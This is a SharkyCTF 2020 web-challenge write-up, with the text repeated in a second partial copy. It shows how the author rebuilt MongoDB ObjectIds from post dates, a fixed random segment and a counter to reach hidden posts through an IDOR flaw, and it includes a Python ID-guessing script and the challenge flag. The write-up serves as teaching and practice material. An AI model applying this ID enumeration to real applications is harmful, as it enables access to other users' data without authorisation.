SharkyCTF 2020 - [Web] Containment Forever (300pts)
Written by Maltemo, member of team SinHack.
Statement of the challenge
Description
Hello, welcome on “Containment Forever”! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.
containment-forever.sharkyctf.xyz
Creator : Remsio
TL;DR
The challenge consisted in re-creating the ObjectId from few informations to get access to both parts of the flag.
Analyze
After a first look given at the site, we can see that posts can be accessed by Id : http://containment-forever.sharkyctf.xyz/item/5e70da94d7b1600013655bb5
Let’s play with those same identifiers in the URL, shall we ? What if we try to increment the id by 1 to test if we can access other resources ?
http://containment-forever.sharkyctf.xyz/item/5e70da94d7b1600013655bb6 returns this error :
TypeError: /app/views/item.ejs:28
26| </nav>
27| <div class="container">
>> 28| <h1><%= item.name %></h1>
29| <h2><span class="badge badge-success">Written by <%= item.pseudo %></span></h2>
30| <hr>
31| <img src="<%= item.image %>"/>
Cannot read property 'name' of null
at eval (/app/views/item.ejs:12:31)
at item (/app/node_modules/ejs/lib/ejs.js:679:17)
at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:272:36)
at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:478:10)
at View.render (/app/node_modules/express/lib/view.js:135:8)
at tryRender (/app/node_modules/express/lib/application.js:640:10)
at Function.render (/app/node_modules/express/lib/application.js:592:3)
at ServerResponse.render (/app/node_modules/express/lib/response.js:1012:7)
at Item.findOne (/app/index.js:78:9)
at /app/node_modules/mongoose/lib/model.js:4889:16
at /app/node_modules/mongoose/lib/model.js:4889:16
at /app/node_modules/mongoose/lib/helpers/promiseOrCallback.js:24:16
at /app/node_modules/mongoose/lib/model.js:4912:21
at _hooks.execPost (/app/node_modules/mongoose/lib/query.js:4380:11)
at /app/node_modules/kareem/index.js:135:16
at process._tickCallback (internal/process/next_tick.js:61:11)
It gives us an insane amount of informations :
- The langugage used is Javascript with a backend in NodeJs and the express library.
- The library used is called Mongoose, which is an ORM (Object-Relational Mapping) for MongoDB database.
- The function Item.findOne indicates that the query is giving back only one document, probably based on the ObjectId.
After checking the flag section, I understood that we had to understand the structure of the mongodb id to guess the ones of the flag posts.
From the official mongodb documentation :
The 12-byte ObjectId value consists of:
- a 4-byte timestamp value, representing the ObjectId’s creation, measured in seconds since the Unix epoch
- a 5-byte random value
- a 3-byte incrementing counter, initialized to a random value
From those informations, we understand that we can easily get the first part of the ObjectId thanks to the Date given on the informations about the flags posts. The increment counter will be easy too thanks to the date and the other posts informations.
The random part will be bruteforce I guess ?
I wrote a little python script to decompose ObjectIds in the differents parts shown previously :
import sys
from datetime import datetime
if len(sys.argv) == 1:
print("You must give an argument (an objectId)")
objectId = sys.argv[1]
timestamp_hex = objectId[0:8]
random_hex = objectId[8:18]
counter_hex = objectId[18:24]
timestamp_dec = int(timestamp_hex,16)
random_dec = int(random_hex,16)
counter_dec = int(counter_hex,16)
date = datetime.fromtimestamp(timestamp_dec)
print("date : "+str(date))
print("random value : "+str(random_dec))
print("counter : "+str(counter_dec))
Let’s try it on the posts with all the informations :
./objectId.py 5e70da94d7b1600013655bb5
date : 2020-03-17 15:11:32
random value : 926393827347
counter : 6642613
./objectId.py 5e7e4f48d7b1600013655bb9
date : 2020-03-27 20:08:56
random value : 926393827347
counter : 6642617
./objectId.py 5e83642bd7b1600013655bba
date : 2020-03-31 17:39:23
random value : 926393827347
counter : 6642618
./objectId.py 5e8ee635d7b1600013655bbd
date : 2020-04-09 11:09:09
random value : 926393827347
counter : 6642621
From this tests, we got good news :
- The random value is fixed so we won’t have to bruteforce it.
- The counter value doesn’t increase a lot, decreazing the number possibilities.
The bad news is that dates doesn’t correspond exactly to the informations given in the post page :
After thinking a bit, I finally understood that the one hours shift in time was due to the shift I have in France with the Greenwitch Mean Time (GMT).
The creator of the challenge left a little difficulty with the dates. The hour change in spring (31st of march) which increased the shift from one hour to two.
I came up with this script to construct the ObjectId for the flag posts :
#!/usr/bin/env python3
# coding=utf-8
import datetime
random_fixed_value_dec = 926393827347
random_fixed_value_hex = hex(random_fixed_value_dec).split('x')[-1]
#Date with one hour shift on the GMT.
date = datetime.datetime(2020,3,21,10,13,22)
timestamp_dec = int(date.timestamp())
timestamp_hex = hex(timestamp_dec).split('x')[-1]
#Counter based on the post of the tuesday 12th of march and the friday 27th of march
for counter_dec in range(6642613,6642617):
counter_hex = hex(counter_dec).split('x')[-1]
print(timestamp_hex + random_fixed_value_hex + counter_hex)
print("---------------")
#Date with two hours shift on the GMT because it is after the 31st of march
date = datetime.datetime(2020,4,13,17,50,18)
timestamp_dec = int(date.timestamp())
timestamp_hex = hex(timestamp_dec).split('x')[-1]
#Counter based on the post of the thursday 9th of april for the starting value
for counter_dec in range(6642621,6642640):
counter_hex = hex(counter_dec).split('x')[-1]
print(timestamp_hex + random_fixed_value_hex + counter_hex)
./guesserObjectId
5e75dab2d7b1600013655bb5
5e75dab2d7b1600013655bb6
5e75dab2d7b1600013655bb7
5e75dab2d7b1600013655bb8
---------------
5e948a3ad7b1600013655bbd
5e948a3ad7b1600013655bbe
5e948a3ad7b1600013655bbf
[...]
Thanks to this script, I just had to test if they were working one by one (there isn’t a lot so no need to automate this) by adding them at the end of this URL :
http://containment-forever.sharkyctf.xyz/item/{insert_ObjectId}
I got the first part of the flag :
Then the second one :
By assembling the two parts, we get the complete flag :
shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}
Flag
The flag is shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
SharkyCTF 2020 - [Web] Containment Forever (300pts)
Written by Maltemo, member of team SinHack.
Statement of the challenge
Description
Hello, welcome on “Containment Forever”! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.
containment-forever.sharkyctf.xyz
Creator : Remsio
TL;DR
The challenge consisted in re-creating the ObjectId from few informations to get access to both parts of the flag.
Analyze
After a first look given at the site, we can see that posts can be accessed by Id : http://containment-forever.sharkyctf.xyz/item/5e70da94d7b1600013655bb5
Let’s play with those same identifiers in the URL, shall we ? What if we try to increment the id by 1 to test if we can access other resources ?
http://containment-forever.sharkyctf.xyz/item/5e70da94d7b1600013655bb6 returns this error :
It gives us an insane amount of informations :
After checking the flag section, I understood that we had to understand the structure of the mongodb id to guess the ones of the flag posts.
From the official mongodb documentation :
From those informations, we understand that we can easily get the first part of the ObjectId thanks to the Date given on the informations about the flags posts. The increment counter will be easy too thanks to the date and the other posts informations.
The random part will be bruteforce I guess ?
I wrote a little python script to decompose ObjectIds in the differents parts shown previously :
Let’s try it on the posts with all the informations :
From this tests, we got good news :
The bad news is that dates doesn’t correspond exactly to the informations given in the post page :
After thinking a bit, I finally understood that the one hours shift in time was due to the shift I have in France with the Greenwitch Mean Time (GMT).
The creator of the challenge left a little difficulty with the dates. The hour change in spring (31st of march) which increased the shift from one hour to two.
I came up with this script to construct the ObjectId for the flag posts :
Thanks to this script, I just had to test if they were working one by one (there isn’t a lot so no need to automate this) by adding them at the end of this URL :
http://containment-forever.sharkyctf.xyz/item/{insert_ObjectId}
I got the first part of the flag :
shkCTF{IDOR_IS_ALS0_
Then the second one :
P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}
By assembling the two parts, we get the complete flag :
shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}
Flag
The flag is shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.